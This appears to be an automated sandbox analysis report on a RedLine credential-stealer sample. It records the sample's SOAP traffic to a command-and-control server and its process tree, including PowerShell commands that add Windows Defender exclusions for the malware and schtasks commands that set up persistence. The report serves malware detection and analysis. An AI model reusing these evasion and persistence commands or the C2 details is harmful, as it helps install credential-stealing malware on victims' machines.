Jul 3, 2024 18:17:33.197269917 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 6512 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 03 Jul 2024 16:17:32 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>40.94.25.3</b:string><b:string>40.94.25.57</b:string><b:string>40.94.31.16</b:string><b:string>40.94.31.12</b:string><b:string>36.99.136.136</b:string><b:string>69.55.5.249</b:string><b:string>20.99.160.173</b:string><b:string>34.28.87.190</b:string><b:string>34.17.55.59</b:string><b:string>40.73.35.80</b:string><b:string>222.98.34.226</b:string><b:string>217.111.63.60</b:string><b:string>154.61.71.50</b:string><b:string>154.61.71.50</b:string><b:string>206.81.11.221</b:string><b:string>95.174.64.244</b:string><b:string>128.90.60.21</b:string><b:string>149.22.81.101</b:string><b:string>103.27 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	185.222.58.91	55615	7216	C:\Users\user\Desktop\lZ8NRWShfC.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:17:27.241832018 CEST	221	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 185.222.58.91:55615 Content-Length: 925603 Expect: 100-continue Accept-Encoding: gzip, deflate
Jul 3, 2024 18:17:28.761116982 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 03 Jul 2024 16:17:28 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Jul 3, 2024 18:17:28.763891935 CEST	217	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 185.222.58.91:55615 Content-Length: 925595 Expect: 100-continue Accept-Encoding: gzip, deflate
Jul 3, 2024 18:17:29.499789000 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 03 Jul 2024 16:17:28 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49743	185.222.58.91	55615	7608	C:\Users\user\AppData\Roaming\TmfmVKU.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:17:35.929763079 CEST	221	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 185.222.58.91:55615 Content-Length: 925089 Expect: 100-continue Accept-Encoding: gzip, deflate
Jul 3, 2024 18:17:37.401113033 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 03 Jul 2024 16:17:37 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	185.222.58.91	55615	7608	C:\Users\user\AppData\Roaming\TmfmVKU.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:17:37.409738064 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 185.222.58.91:55615 Content-Length: 925081 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jul 3, 2024 18:17:38.893376112 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 03 Jul 2024 16:17:38 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Target ID:	0
Start time:	12:17:08
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\lZ8NRWShfC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\lZ8NRWShfC.exe"
Imagebase:	0xb60000
File size:	730'120 bytes
MD5 hash:	3599FA63D78413242A88966D3B4B14EF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1761835638.0000000003F18000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.1761835638.0000000003F18000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000002.1761835638.0000000003F18000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:17:14
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\lZ8NRWShfC.exe"
Imagebase:	0x2d0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:17:14
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:17:14
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\TmfmVKU.exe"
Imagebase:	0x2d0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:17:14
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:17:14
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp51ED.tmp"
Imagebase:	0x7ff7699e0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:17:14
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:17:15
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\lZ8NRWShfC.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\lZ8NRWShfC.exe"
Imagebase:	0x190000
File size:	730'120 bytes
MD5 hash:	3599FA63D78413242A88966D3B4B14EF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:17:15
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\lZ8NRWShfC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\lZ8NRWShfC.exe"
Imagebase:	0x6a0000
File size:	730'120 bytes
MD5 hash:	3599FA63D78413242A88966D3B4B14EF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:17:15
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:17:16
Start date:	03/07/2024
Path:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
Imagebase:	0xf00000
File size:	730'120 bytes
MD5 hash:	3599FA63D78413242A88966D3B4B14EF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:17:17
Start date:	03/07/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:17:24
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp76F9.tmp"
Imagebase:	0x2d0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:17:24
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:17:24
Start date:	03/07/2024
Path:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\TmfmVKU.exe"
Imagebase:	0x870000
File size:	730'120 bytes
MD5 hash:	3599FA63D78413242A88966D3B4B14EF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:17:24
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.7%
Total number of Nodes:	176
Total number of Limit Nodes:	10

Executed Functions

Function 04F16C6B Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4a894a049c820b0a8288a96de35623b374c23ea9100b30d2e63092bd17681fc
Instruction ID: fdcbc0198fa2ef2142eb0fd0a4a6ff650e46d23a4f35b75458c3831ab20407ab
Opcode Fuzzy Hash: f4a894a049c820b0a8288a96de35623b374c23ea9100b30d2e63092bd17681fc
Instruction Fuzzy Hash: 4CE18C71B013048FEB19DB65C4A0BAE77FAAF89704F54846DD14ADB3A0DB35E902CB61

Function 04F1531D Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d839ab674b8653f621150267864be1bef47514e7d0783c0b2978a5685253107
Instruction ID: f0c85facafaa379cd2f27989c13e07f777adbcd12d815bb2cc300a7be3cd6842
Opcode Fuzzy Hash: 9d839ab674b8653f621150267864be1bef47514e7d0783c0b2978a5685253107
Instruction Fuzzy Hash: 8A110D39D19118EFCB64CF64C8447F8BBB4AB99311F40A0DAD00AA7261EF346A86DF50

Function 04F1569A Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 049d887baa62fcb844fab46487ddebbec1d08b1c93638548ce0f39abfc3a77b7
Instruction ID: 545a623812bb7abd29cc6dd1e37b15c40fa82b8024fdd2fece2f2be738f41891
Opcode Fuzzy Hash: 049d887baa62fcb844fab46487ddebbec1d08b1c93638548ce0f39abfc3a77b7
Instruction Fuzzy Hash: D1F04F3594E144EFCB11CF6094946F8BFB8A796355F0070DA840AA7172EA346A86DB21

Function 04F157CD Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 192a01628dc0a3baa35fccd9325d157faa93259cabf02ec07ac61faf630bd716
Instruction ID: 7bef09327c85f7979b55b75755de65f28baa115a53eaa56993232ed4dfac10ad
Opcode Fuzzy Hash: 192a01628dc0a3baa35fccd9325d157faa93259cabf02ec07ac61faf630bd716
Instruction Fuzzy Hash: 62E01235D4E144EFCB10CF5484844F4FFB8AB9A300F0570EA944A57232DE3065469B25

Function 04F15B21 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee91010fb3763c2187443058fdf6be4d1949094c3a3de3610d02eeaf8c983ad7
Instruction ID: 9a5929f97b5473093c94a6eca0c5c3e9946325d32dbbeb7d02a4314db53e87ee
Opcode Fuzzy Hash: ee91010fb3763c2187443058fdf6be4d1949094c3a3de3610d02eeaf8c983ad7
Instruction Fuzzy Hash: 0FD0C975E4E104EFCF50AFB094952F4FAF8A76B315F0470DA940AA7221EA31A9429B19

Function 02D0D031 Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 02D0D0BE
GetCurrentThread.KERNEL32 ref: 02D0D0FB
GetCurrentProcess.KERNEL32 ref: 02D0D138
GetCurrentThreadId.KERNEL32 ref: 02D0D191

Memory Dump Source

Source File: 00000000.00000002.1760696200.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d00000_lZ8NRWShfC.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 3cbede03560f00f1e321bcdc1ba513d4e61707bb077c2d8834f7edd7a15d422f
Instruction ID: fbac1b5fd6ad474aa55d9dccad0fc3902a70be3f9450b6714ffdd6fbcc7014ec
Opcode Fuzzy Hash: 3cbede03560f00f1e321bcdc1ba513d4e61707bb077c2d8834f7edd7a15d422f
Instruction Fuzzy Hash: 9C5158B09003498FDB14DFA9D588BDEBFF2EF48314F24845AE409A73A0DB345985CB69

Function 02D0D040 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 02D0D0BE
GetCurrentThread.KERNEL32 ref: 02D0D0FB
GetCurrentProcess.KERNEL32 ref: 02D0D138
GetCurrentThreadId.KERNEL32 ref: 02D0D191

Memory Dump Source

Source File: 00000000.00000002.1760696200.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d00000_lZ8NRWShfC.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f09668429fdca061b3314138a519ef4931497c483735146a06de79a3e50be05e
Instruction ID: efddb7730cb0884d8aa4d699a5406cec01eac8f81fcb0455c28869f29349c9fa
Opcode Fuzzy Hash: f09668429fdca061b3314138a519ef4931497c483735146a06de79a3e50be05e
Instruction Fuzzy Hash: 9F5139B09003498FDB14DFA9D549BDEBFF2EF48314F20845AE419A73A0DB745944CB69

Function 04F1193C Relevance: 1.7, APIs: 1, Instructions: 247
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 04F11B7E

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 5cf25c631dbdf14b7f75dd038c167517334f4f6a73e3c5b794faccf8c9393d1a
Instruction ID: 2b1cf6bbda216ceccd7907c3c7cf35400287cf02461d83314298f6da04cd8633
Opcode Fuzzy Hash: 5cf25c631dbdf14b7f75dd038c167517334f4f6a73e3c5b794faccf8c9393d1a
Instruction Fuzzy Hash: 5BA17C71D00659CFEB24CF68C9407EDBBB2FF48314F14856AD909A7290DB74A986CF92

Function 04F11948 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 04F11B7E

Memory Dump Source

Source File: 00000000.00000002.1762816078.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_lZ8NRWShfC.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f563603c92ee53f40a0e30887c06d4fed35d1143a89fcf3fcaa32ad4ed208add
Instruction ID: 27d69b81cd110b3c7edcbcf5f81a33ed00c099199af036ecf45ef4d23f48e971
Opcode Fuzzy Hash: f563603c92ee53f40a0e30887c06d4fed35d1143a89fcf3fcaa32ad4ed208add
Instruction Fuzzy Hash: F3919C71D00259CFEB20CF68C940BDDBBB2FF48314F14816AD909A7290DB70A982CF92

Function 02D0ADA8 Relevance: 1.7, APIs: 1, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 02D0AFFE

Memory Dump Source

Source File: 00000000.00000002.1760696200.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d00000_lZ8NRWShfC.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 41cdcf6d441f7bd8f72560411b7815ee4c386a259626d8ccabe4e1f282eeb846
Instruction ID: 197f7f5b56079209116daab055a5db920d62f84e721b9ce5f0d3e8f04c78686d
Opcode Fuzzy Hash: 41cdcf6d441f7bd8f72560411b7815ee4c386a259626d8ccabe4e1f282eeb846
Instruction Fuzzy Hash: 54813870A00B058FD724DF69D49579ABBF1FF48304F108A2ED58A97B90D775E84ACB90

Function 02D044C4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02D059C9

Memory Dump Source

Source File: 00000000.00000002.1760696200.0000000002D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D00000, based on PE: false

Joe Sandbox IDA Plugin

